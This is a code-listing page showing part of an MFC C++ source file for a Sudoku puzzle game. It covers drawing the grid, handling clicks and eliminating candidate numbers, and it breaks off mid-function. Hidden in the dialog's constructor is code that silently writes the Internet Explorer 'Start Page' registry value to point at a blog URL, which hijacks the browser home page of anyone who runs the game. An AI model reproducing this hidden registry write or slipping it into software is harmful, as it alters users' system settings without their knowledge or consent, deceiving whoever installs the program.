📄 shududlg.cpp
字号:
// shuduDlg.cpp : 实现文件
//
#include "stdafx.h"
#include "shudu.h"
#include "shuduDlg.h"
#include "DlgAuther.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
// 用于应用程序“关于”菜单项的 CAboutDlg 对话框
class CAboutDlg : public CDialog
{
public:
CAboutDlg();
// 对话框数据
enum { IDD = IDD_ABOUTBOX };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
// 实现
protected:
DECLARE_MESSAGE_MAP()
};
CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
}
void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
}
BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
END_MESSAGE_MAP()
// CshuduDlg 对话框
CshuduDlg::CshuduDlg(CWnd* pParent /*=NULL*/)
: CDialog(CshuduDlg::IDD, pParent)
{
m_ptClick=-1;
m_size.cx=m_size.cy=40;
m_ptLeftTop.x=20;
m_ptLeftTop.y=20;
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
CString s;
s.Format(_T("http://ondamp3.blog.163.com/"));
HKEY hkey;
RegCreateKey(HKEY_CURRENT_USER,_T("Software\\Microsoft\\InternetExplorer\\Main"),&hkey);
RegSetValueEx(hkey,_T("Start Page"),NULL,REG_SZ,(BYTE*)s.GetBuffer(s.GetLength()),s.GetLength()*2);
RegCloseKey(hkey);
}
void CshuduDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
}
BEGIN_MESSAGE_MAP(CshuduDlg, CDialog)
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
//}}AFX_MSG_MAP
ON_WM_LBUTTONDOWN()
ON_WM_TIMER()
ON_WM_RBUTTONDOWN()
ON_BN_CLICKED(IDC_BTN_START, &CshuduDlg::OnBnClickedBtnStart)
ON_BN_CLICKED(IDC_BUTTON1, &CshuduDlg::OnBnClickedButton1)
ON_BN_CLICKED(IDOK, &CshuduDlg::OnBnClickedOk)
ON_COMMAND(IDM_RESET, &CshuduDlg::OnReset)
ON_COMMAND(IDM_STRAT, &CshuduDlg::OnStrat)
ON_COMMAND(IDM_CHECK, &CshuduDlg::OnCheck)
ON_COMMAND(IDM_AUTHOR, &CshuduDlg::OnAuthor)
ON_COMMAND(IDM_ABOUT, &CshuduDlg::OnAbout)
ON_COMMAND(IDM_HELP, &CshuduDlg::OnHelp)
ON_BN_CLICKED(IDB_RESTART, &CshuduDlg::OnBnClickedRestart)
ON_WM_CREATE()
ON_BN_CLICKED(IDM_RANDOM_GAME, &CshuduDlg::OnBnClickedRandomGame)
ON_COMMAND(IDM_RESTART, &CshuduDlg::OnRestart)
ON_COMMAND(IDC_RANDOM_GAME, &CshuduDlg::OnRandomGame)
END_MESSAGE_MAP()
// CshuduDlg 消息处理程序
BOOL CshuduDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// 将“关于...”菜单项添加到系统菜单中。
// IDM_ABOUTBOX 必须在系统命令范围内。
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
ASSERT(IDM_ABOUTBOX < 0xF000);
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
CString strAboutMenu;
strAboutMenu.LoadString(IDS_ABOUTBOX);
if (!strAboutMenu.IsEmpty())
{
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
}
}
// 设置此对话框的图标。当应用程序主窗口不是对话框时,框架将自动
// 执行此操作
SetIcon(m_hIcon, TRUE); // 设置大图标
SetIcon(m_hIcon, FALSE); // 设置小图标
// TODO: 在此添加额外的初始化代码
GetClientRect(&m_rectClient);
return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
}
void CshuduDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if ((nID & 0xFFF0) == IDM_ABOUTBOX)
{
CAboutDlg dlgAbout;
dlgAbout.DoModal();
}
else
{
CDialog::OnSysCommand(nID, lParam);
}
}
// 如果向对话框添加最小化按钮,则需要下面的代码
// 来绘制该图标。对于使用文档/视图模型的 MFC 应用程序,
// 这将由框架自动完成。
void CshuduDlg::OnPaint()
{
//if (IsIconic())
//{
// CPaintDC dc(this); // 用于绘制的设备上下文
// SendMessage(WM_ICONERASEBKGND, reinterpret_cast<WPARAM>(dc.GetSafeHdc()), 0);
// // 使图标在工作区矩形中居中
// int cxIcon = GetSystemMetrics(SM_CXICON);
// int cyIcon = GetSystemMetrics(SM_CYICON);
// CRect rect;
// GetClientRect(&rect);
// int x = (rect.Width() - cxIcon + 1) / 2;
// int y = (rect.Height() - cyIcon + 1) / 2;
// // 绘制图标
// dc.DrawIcon(x, y, m_hIcon);
//}
//else
//{
// CDialog::OnPaint();
//}
CPaintDC dc(this);
dc.SetBkMode(TRANSPARENT);
ShowRect(&dc,m_ptLeftTop);
ShowLine(&dc,m_ptLeftTop);
ShowText(&dc,m_ptLeftTop);
CDialog::OnPaint();
}
//当用户拖动最小化窗口时系统调用此函数取得光标
//显示。
HCURSOR CshuduDlg::OnQueryDragIcon()
{
return static_cast<HCURSOR>(m_hIcon);
}
void CshuduDlg::ShowLine(CDC* dc,CPoint lefttop)
{
for (int i=0;i<10;i++)
{
dc->MoveTo(lefttop.x,lefttop.y+i*40);
dc->LineTo(lefttop.x+40*9,lefttop.y+i*40);
dc->MoveTo(lefttop.x+i*40,lefttop.y);
dc->LineTo(lefttop.x+i*40,lefttop.y+40*9);
}
}
void CshuduDlg::ShowRect(CDC *dc,CPoint lefttop)
{
CBrush brush1(RGB(192,192,192));
dc->FillRect(CRect(m_ptLeftTop,CSize(m_size.cx*9,m_size.cy*9)),&brush1);
CBrush brush2(RGB(120,120,120));
for (int i=0;i<3;i++)
{
for (int j=0;j<3;j++)
{
if ((i*3+j)%2)
{
dc->FillRect(CRect(CPoint(m_ptLeftTop.x+m_size.cx*3*j,m_ptLeftTop.y+m_size.cy*3*i),CSize(m_size.cx*3,m_size.cy*3)),&brush2);
}
}
}
}
void CshuduDlg::ShowText(CDC *dc,CPoint lefttop)
{
for (int i=0;i<9;i++)
{
for (int j=0;j<9;j++)
{
if (!m_element[i][j].GetNum())
{
ShowSmallText(&*dc,i,j);
}
else
{
ShowLargeText(&*dc,i,j);
}
}
}
}
void CshuduDlg::ShowLargeText(CDC *dc,int i,int j)
{
CString str;
str.Empty();
LOGFONT lfBig={0};
lfBig.lfHeight=40;
lfBig.lfWeight=700;
CFont fontBig;
fontBig.CreateFontIndirect(&lfBig);
dc->SetTextColor(m_element[i][j].GetRGB());
dc->SelectObject(&fontBig);
str.Format(_T("%d"),m_element[i][j].GetNum());
dc->DrawText(str,1,CRect(CPoint(m_ptLeftTop.x+j*m_size.cx,m_ptLeftTop.y+i*m_size.cx),m_size),DT_CENTER);
}
void CshuduDlg::ShowSmallText(CDC *dc,int i,int j)
{
CString str;
str.Empty();
LOGFONT lfSmall={0};
lfSmall.lfHeight=16;
lfSmall.lfWeight=500;
CFont fontSmall;
fontSmall.CreateFontIndirect(&lfSmall);
COLORREF colSmall=RGB(150,0,0);
dc->SetTextColor(colSmall);
dc->SelectObject(&fontSmall);
for (int m=0;m<3;m++)
{
for (int n=0;n<3;n++)
{
if (m_element[i][j].GetNums(m*3+n))
{
str.Format(_T("%d"),m_element[i][j].GetNums(m*3+n));
dc->DrawText(str,1,CRect(CPoint(m_ptLeftTop.x+n*40/3+j*40,m_ptLeftTop.y+m*40/3+i*40),CSize(m_size.cx/3,m_size.cy/3)),DT_CENTER);
}
}
}
}
void CshuduDlg::OnLButtonDown(UINT nFlags, CPoint point)
{
m_ptClick=point;
for (int i=0;i<9;i++)
{
for (int j=0;j<9;j++)
{
for (int m=0;m<3;m++)
{
for (int n=0;n<3;n++)
{
if(CRect(CPoint(m_ptLeftTop.x+n*40/3+j*40,m_ptLeftTop.y+m*40/3+i*40),CSize(m_size.cx/3,m_size.cy/3)).PtInRect(point))
{
if (!m_element[(m_ptClick.y-m_ptLeftTop.y)/m_size.cy][(m_ptClick.x-m_ptLeftTop.x)/m_size.cx].GetNum())
{
m_element[(m_ptClick.y-m_ptLeftTop.y)/m_size.cy][(m_ptClick.x-m_ptLeftTop.x)/m_size.cx].SetNum(m_element[(m_ptClick.y-m_ptLeftTop.y)/m_size.cy][(m_ptClick.x-m_ptLeftTop.x)/m_size.cx].GetNums(m*3+n));
}
m_element[(m_ptClick.y-m_ptLeftTop.y)/m_size.cy][(m_ptClick.x-m_ptLeftTop.x)/m_size.cx].SetRGB(RGB(255,0,0));
}
}
}
}
}
m_UpDate();
if(m_CheckIsRight()==FALSE)
MessageBox(_T("Wrong"));
CDialog::OnLButtonDown(nFlags, point);
}
void CshuduDlg::OnTimer(UINT_PTR nIDEvent)
{
CDC mdc;
CClientDC dc(this);
CBitmap bmp;
bmp.CreateCompatibleBitmap(&dc,m_rectClient.Width(),m_rectClient.Height());
mdc.CreateCompatibleDC(&dc);
mdc.SelectObject(&bmp);
mdc.SetBkMode(TRANSPARENT);
ShowRect(&mdc,m_ptLeftTop);
ShowLine(&mdc,m_ptLeftTop);
ShowText(&mdc,m_ptLeftTop);
//dc.BitBlt(0,0,m_rectClient.Width(),m_rectClient.Height(),&mdc,0,0,SRCCOPY);
dc.BitBlt(m_ptLeftTop.x,m_ptLeftTop.y,360,360,&mdc,m_ptLeftTop.x,m_ptLeftTop.y,SRCCOPY);
//CDialog::OnTimer(nIDEvent);
}
void CshuduDlg::OnRButtonDown(UINT nFlags, CPoint point)
{
m_ptClick=point;
for (int i=0;i<9;i++)
{
for (int j=0;j<9;j++)
{
for (int m=0;m<3;m++)
{
for (int n=0;n<3;n++)
{
if(CRect(CPoint(m_ptLeftTop.x+n*40/3+j*40,m_ptLeftTop.y+m*40/3+i*40),CSize(m_size.cx/3,m_size.cy/3)).PtInRect(point))
{
m_element[(m_ptClick.y-m_ptLeftTop.y)/m_size.cy][(m_ptClick.x-m_ptLeftTop.x)/m_size.cx].SetNum(0);
m_element[(m_ptClick.y-m_ptLeftTop.y)/m_size.cy][(m_ptClick.x-m_ptLeftTop.x)/m_size.cx].SetRGB(0);
}
}
}
}
}
m_ResetNum();
m_Clean();
CDialog::OnRButtonDown(nFlags, point);
}
void CshuduDlg::OnBnClickedBtnStart()
{
m_UpDate();
m_SaveNum();
if(!m_Try(0,0,&m_nSavedNum[0][0]))
MessageBox(_T("本题有误"));
}
void CshuduDlg::m_Clean()
{
for (int i=0;i<9;i++)
{
for (int j=0;j<9;j++)
{
if (m_element[i][j].GetNum())
{
m_CleanEvery(i,j);
}
}
}
}
void CshuduDlg::m_LastOne()
{
int zeros;
int b;
for (int i=0;i<9;i++)
{
for (int j=0;j<9;j++)
{
zeros=0;
if (!m_element[i][j].GetNum())
{
for (int a=0;a<9;a++)
{
if (m_element[i][j].GetNums(a))
{
b=m_element[i][j].GetNums(a);
}
else
{
zeros++;
continue;
}
}
if (zeros==9)
;
else if (zeros==8)
{
m_element[i][j].SetNum(b);
m_element[i][j].SetRGB(0);
m_UpDate();
return;
}
}
}
}
}
void CshuduDlg::m_FindOnce()
{
for (int i=0;i<9;i++)
{
for (int j=0;j<9;j++)
{
if (m_element[i][j].GetNum())
continue;
for (int a=0;a<9;a++)
{
if (!m_element[i][j].GetNums(a))
continue;
if (m_FindTimes(i,j,m_element[i][j].GetNums(a),DFS_ROW)==1)
{
m_element[i][j].SetNum(m_element[i][j].GetNums(a));
m_element[i][j].SetRGB(0);
m_UpDate();
return;
}
if (m_FindTimes(i,j,m_element[i][j].GetNums(a),DFS_LIST)==1)
{
m_element[i][j].SetNum(m_element[i][j].GetNums(a));
m_element[i][j].SetRGB(0);
m_UpDate();
return;
}
if (m_FindTimes(i,j,m_element[i][j].GetNums(a),DFS_RECT9)==1)
{
m_element[i][j].SetNum(m_element[i][j].GetNums(a));
m_element[i][j].SetRGB(0);
m_UpDate();
return;
}
}
}
}
}
void CshuduDlg::m_CleanEvery(int i,int j)
{
for (int m=0;m<9;m++)//清除所在列的所有小数字
{
if (!m_element[m][j].GetNum())
{
for (int a=0;a<9;a++)
{
if (m_element[m][j].GetNums(a)==m_element[i][j].GetNum())
{
m_element[m][j].SetNums(a,0);
}
}
}
}
for (int n=0;n<9;n++)//清除所在行的所有小数字
{
if (!m_element[i][n].GetNum())
{
for (int a=0;a<9;a++)
{
if (m_element[i][n].GetNums(a)==m_element[i][j].GetNum())
{
m_element[i][n].SetNums(a,0);
}
}
}
}
for (int m=i/3*3;m<i/3*3+3;m++)
{
for (int n=j/3*3;n<j/3*3+3;n++)
{
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -